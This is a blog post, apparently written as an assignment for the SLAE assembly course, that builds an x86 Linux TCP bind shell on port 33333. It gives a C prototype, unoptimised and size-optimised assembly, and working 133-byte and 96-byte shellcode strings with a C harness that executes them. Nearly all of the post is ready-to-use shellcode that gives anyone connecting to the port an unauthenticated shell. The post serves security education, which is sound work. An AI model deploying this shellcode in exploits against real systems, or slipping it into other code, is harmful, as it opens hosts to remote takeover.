SLAE #1: TCP Bind Shell

I started the SecurityTube Linux Assembly Expert course last week. I don’t care much about certifications in general, but I love Vivek’s videos. The course materials are superb.

You need to complete seven assignments to finish the SLAE course. This blog post covers the first assignment, which consists in writing a TCP bind shell.

The shellcode should bind to a TCP port and wait for incoming connections. Once the client connects, it starts a /bin/sh process.

It’s useful to start with a simple C prototype to identify all the necessary steps. I’m not interested in error checking, forking, or setting socket options at this point.

The program should do the following:

  1. Create a socket
  2. Bind it to a specific address and port
  3. Listen for incoming connections
  4. Accept a connection
  5. Redirect STDIN, STDOUT, STDERR
  6. Execute /bin/sh
#include <stdio.h>
#include <strings.h>
#include <sys/socket.h>
#include <netinet/in.h>

int main(void) {
    int sockfd, connfd;
    struct sockaddr_in serv_addr, cli_addr;
    socklen_t sin_size;

    sockfd = socket(AF_INET, SOCK_STREAM, 0);
    
    bzero(&serv_addr, sizeof(serv_addr));
    serv_addr.sin_family = AF_INET;
    serv_addr.sin_addr.s_addr = INADDR_ANY;
    serv_addr.sin_port = htons(33333);

    bind(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr));

    listen(sockfd, 1);

    sin_size = sizeof(cli_addr);
    connfd = accept(sockfd, (struct sockaddr *)&cli_addr, &sin_size);

    dup2(connfd, 0);
    dup2(connfd, 1);
    dup2(connfd, 2);
   
    execve(“/bin/sh”, NULL, NULL);
}

Let’s compile it and verify that it works.

$ gcc -o tcp_bind_shell tcp_bind_shell.c
$ ./tcp_bind_shell

Connect from another terminal.

$ nc localhost 33333
whoami
maxi
pwd
/home/maxi/SLAE
exit

The full list of system calls is located in the /usr/include/i386-linux-gnu/asm/unistd_32.h file on my Ubuntu machine. Here is an online copy.

It’s important to note that all socket system calls are multiplexed through the socketcall(2) system call on the x86–32 architecture. This means that there aren’t separate system calls for each socket operation (socket, bind, listen, accept).

#define __NR_execve 11
#define __NR_dup2 63
#define __NR_socketcall 102

The first parameter to socketcall is the call identifier, which can be found in the /usr/include/linux/net.h file.

$ grep SYS* /usr/include/linux/net.h 
#define SYS_SOCKET  1       /* sys_socket(2)        */
#define SYS_BIND    2       /* sys_bind(2)          */
#define SYS_CONNECT 3       /* sys_connect(2)       */
#define SYS_LISTEN  4       /* sys_listen(2)        */
#define SYS_ACCEPT  5       /* sys_accept(2)        */
[…]

Let’s put it all together and write an equivalent program in assembly.

global _start           

section .text

_start:

    ;  socket(AF_INET, SOCK_STREAM, 0);
    xor eax, eax    ; zero out eax
    mov al, 102     ; socketcall()

    xor ebx, ebx    ; zero out ebx

    ; push socket() parameters
    push ebx        ; protocol
    push 1          ; SOCK_STREAM
    push 2          ; AF_INET

    mov bl, 1       ; socket()

    xor ecx, ecx    ; zero out ecx
    mov ecx, esp    ; load address of the parameter array
    int 0x80        ; call socketcall()

    ; eax contains the newly created socket
    mov esi, eax    ; save the socket for future use

    ; bind(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr));
    xor eax, eax    ; zero out eax
    mov al, 102     ; socketcall()

    xor ebx, ebx    ; zero out ebx

    ; push bind() parameters
    push ebx        ; INADDR_ANY
    push word 0x3582 ; port
    push word 2     ; AF_INET
    mov ecx, esp    ; point to the structure

    mov bl, 2       ; bind()

    push 16         ; sizeof(struct sockaddr_in)
    push ecx        ; &serv_addr
    push esi        ; sockfd
    mov ecx, esp    ; load address of the parameter array
    int 0x80        ; call socketcall()

    ; listen(sockfd, 1);
    xor eax, eax    ; zero out eax
    mov al, 102     ; socketcall()

    xor ebx, ebx    ; zero out ebx
    mov bl, 4       ; listen()

    ; push listen() parameters
    push 1          ; backlog
    push esi        ; sockfd

    mov ecx, esp    ; load address of the parameter array
    int 0x80        ; call socketcall()

    ; accept(sockfd, (struct sockaddr *)&cli_addr, &sin_size);
    xor eax, eax    ; zero out eax
    mov al, 102     ; socketcall()

    xor ebx, ebx    ; zero out ebx

    ; push accept() parameters
    push ebx        ; zero addrlen
    push ebx        ; null sockaddr
    push esi        ; sockfd

    mov bl, 5       ; accept()

    mov ecx, esp    ; load address of the parameter array
    int 0x80        ; call socketcall()

    ; eax contains the descriptor for the accepted socket
    mov esi, eax

    ; dup2(connfd, 0);
    xor eax, eax    ; zero out eax
    mov al, 63      ; dup2()
    mov ebx, esi
    xor ecx, ecx
    int 0x80
    
    ; dup2(connfd, 1);
    xor eax, eax    ; zero out eax
    mov al, 63      ; dup2()
    mov ebx, esi
    inc ecx
    int 0x80

    ; dup2(connfd, 2);
    xor eax, eax    ; zero out eax
    mov al, 63      ; dup2()
    mov ebx, esi
    inc ecx
    int 0x80

    ; execve(“/bin/sh”, [“/bin/sh”, NULL], NULL);
    xor eax, eax    ; zero out eax
    push eax        ; push null bytes (terminate string)
    push 0x68732f2f ; //sh
    push 0x6e69622f ; /bin
    mov ebx, esp    ; load address of /bin/sh

    push eax        ; null terminator
    push ebx        ; push address of /bin/sh 
    mov ecx, esp

    push eax        ; push null terminator
    mov edx, esp    ; empty envp array

    mov al, 11      
    int 0x80        ; execve()

Assemble and link it.

$ nasm -f elf32 -o bind_shell.o bind_shell.nasm
$ ld -z execstack -o bind_shell bind_shell.o
$ ./bind_shell

It works! After a quick check for null bytes with objdump -d bind_shell -M intel we can extract the formatted shellcode using some command line fu.

Putting it all together:

#include <stdio.h>
#include <string.h>

unsigned char code[] =
"\x31\xc0\xb0\x66\x31\xdb\x53\x6a\x01\x6a\x02\xb3\x01\x31\xc9\x89\xe1\xcd\x80"
"\x89\xc6\x31\xc0\xb0\x66\x31\xdb\x53\x66\x68\x82\x35\x66\x6a\x02\x89\xe1\xb3"
"\x02\x6a\x10\x51\x56\x89\xe1\xcd\x80\x31\xc0\xb0\x66\x31\xdb\xb3\x04\x6a\x01"
"\x56\x89\xe1\xcd\x80\x31\xc0\xb0\x66\x31\xdb\x53\x53\x56\xb3\x05\x89\xe1\xcd"
"\x80\x89\xc6\x31\xc0\xb0\x3f\x89\xf3\x31\xc9\xcd\x80\x31\xc0\xb0\x3f\x89\xf3"
"\x41\xcd\x80\x31\xc0\xb0\x3f\x89\xf3\x41\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73"
"\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x50\x89\xe2\xb0\x0b\xcd\x80";

int main(void) {
    printf("Shellcode Length:  %d\n", strlen(code));
    int (*ret)() = (int(*)())code;
    ret();
}

This needs to be compiled with an executable stack.

$ gcc -z execstack -o shellcode shellcode.c

It does work. However, we can do much better in terms of size. 133 bytes is way too much for such a simple task, and every byte is sacred. Let’s try to write a smaller shellcode.

The idea is to use small instructions where possible. The revised assembly code doesn’t use xor reg, reg unless it’s needed, and it favors single byte instructions like xchg and push register.

The resulting shellcode is 96 bytes long. I’m sure it can be shortened, but it’s a better result than our previous 133 bytes.

global _start           

section .text

_start:
    xor ebx, ebx    ; zero out ebx
    mul ebx         ; zero out eax, edx

    ;  socket(AF_INET, SOCK_STREAM, 0);
    mov al, 102     ; socketcall()
    mov bl, 1       ; socket()
    push edx        ; protocol
    push ebx        ; SOCK_STREAM
    push 2          ; AF_INET
    mov ecx, esp    ; load address of the parameter array
    int 0x80        ; call socketcall()

    ; eax contains the newly created socket
    mov esi, eax

    ; bind(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr));
    mov al, 102     ; socketcall()
    inc ebx         ; bind() - 2
    push edx        ; INADDR_ANY
    push word 0x3582 ; port
    push word bx    ; AF_INET
    mov ecx, esp    ; point to the structure
    push 16         ; sizeof(struct sockaddr_in)
    push ecx        ; &serv_addr
    push esi        ; sockfd
    mov ecx, esp    ; load address of the parameter array
    int 0x80        ; call socketcall()

    ; listen(sockfd, backlog);
    mov al, 102     ; socketcall()
    mov bl, 4       ; listen()
    push edx        ; backlog
    push esi        ; sockfd
    mov ecx, esp    ; load address of the parameter array
    int 0x80        ; call socketcall()

    ; accept(sockfd, (struct sockaddr *)&cli_addr, &sin_size);
    mov al, 102     ; socketcall()
    mov bl, 5       ; accept()
    push edx        ; zero addrlen
    push edx        ; null sockaddr
    push esi        ; sockfd
    mov ecx, esp    ; load address of the parameter array
    int 0x80        ; call socketcall()

    ; eax contains the descriptor for the accepted socket
    xchg ebx, eax

    xor ecx, ecx    ; zero out ecx
    mov cl, 2       ; initialize counter

    loop:
        ; dup2(connfd, 0);
        mov al, 63  ; dup2()
        int 0x80
        dec ecx
        jns loop

    ; execve(“/bin/sh”, [“/bin/sh”, NULL], NULL);
    xchg eax, edx
    push eax        ; push null bytes (terminate string)
    push 0x68732f2f ; //sh
    push 0x6e69622f ; /bin
    mov ebx, esp    ; load address of /bin/sh
    push eax        ; null terminator
    push ebx        ; push address of /bin/sh 
    mov ecx, esp    ; load array address 
    push eax        ; push null terminator
    mov edx, esp    ; empty envp array
    mov al, 11      ; execve()
    int 0x80        ; call execve()

The port number can be extracted into a #define statement to make updating it easier.

#include <stdio.h>
#include <string.h>

#define PORT_NUMBER "\x82\x35" // 33333

unsigned char code[] =
"\x31\xdb\xf7\xe3\xb0\x66\xb3\x01\x52\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0"
"\x66\x43\x52\x66\x68"
PORT_NUMBER
"\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x52\x56\x89"
"\xe1\xcd\x80\xb0\x66\xb3\x05\x52\x52\x56\x89\xe1\xcd\x80\x93\x31\xc9\xb1\x02"
"\xb0\x3f\xcd\x80\x49\x79\xf9\x92\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
"\x89\xe3\x50\x53\x89\xe1\x50\x89\xe2\xb0\x0b\xcd\x80";

int main(void) {
    printf("Shellcode Length:  %d\n", strlen(code));
    int (*ret)() = (int(*)())code;
    ret();
}

The code for this assignment is also available on my Github repository.

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-­651

Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s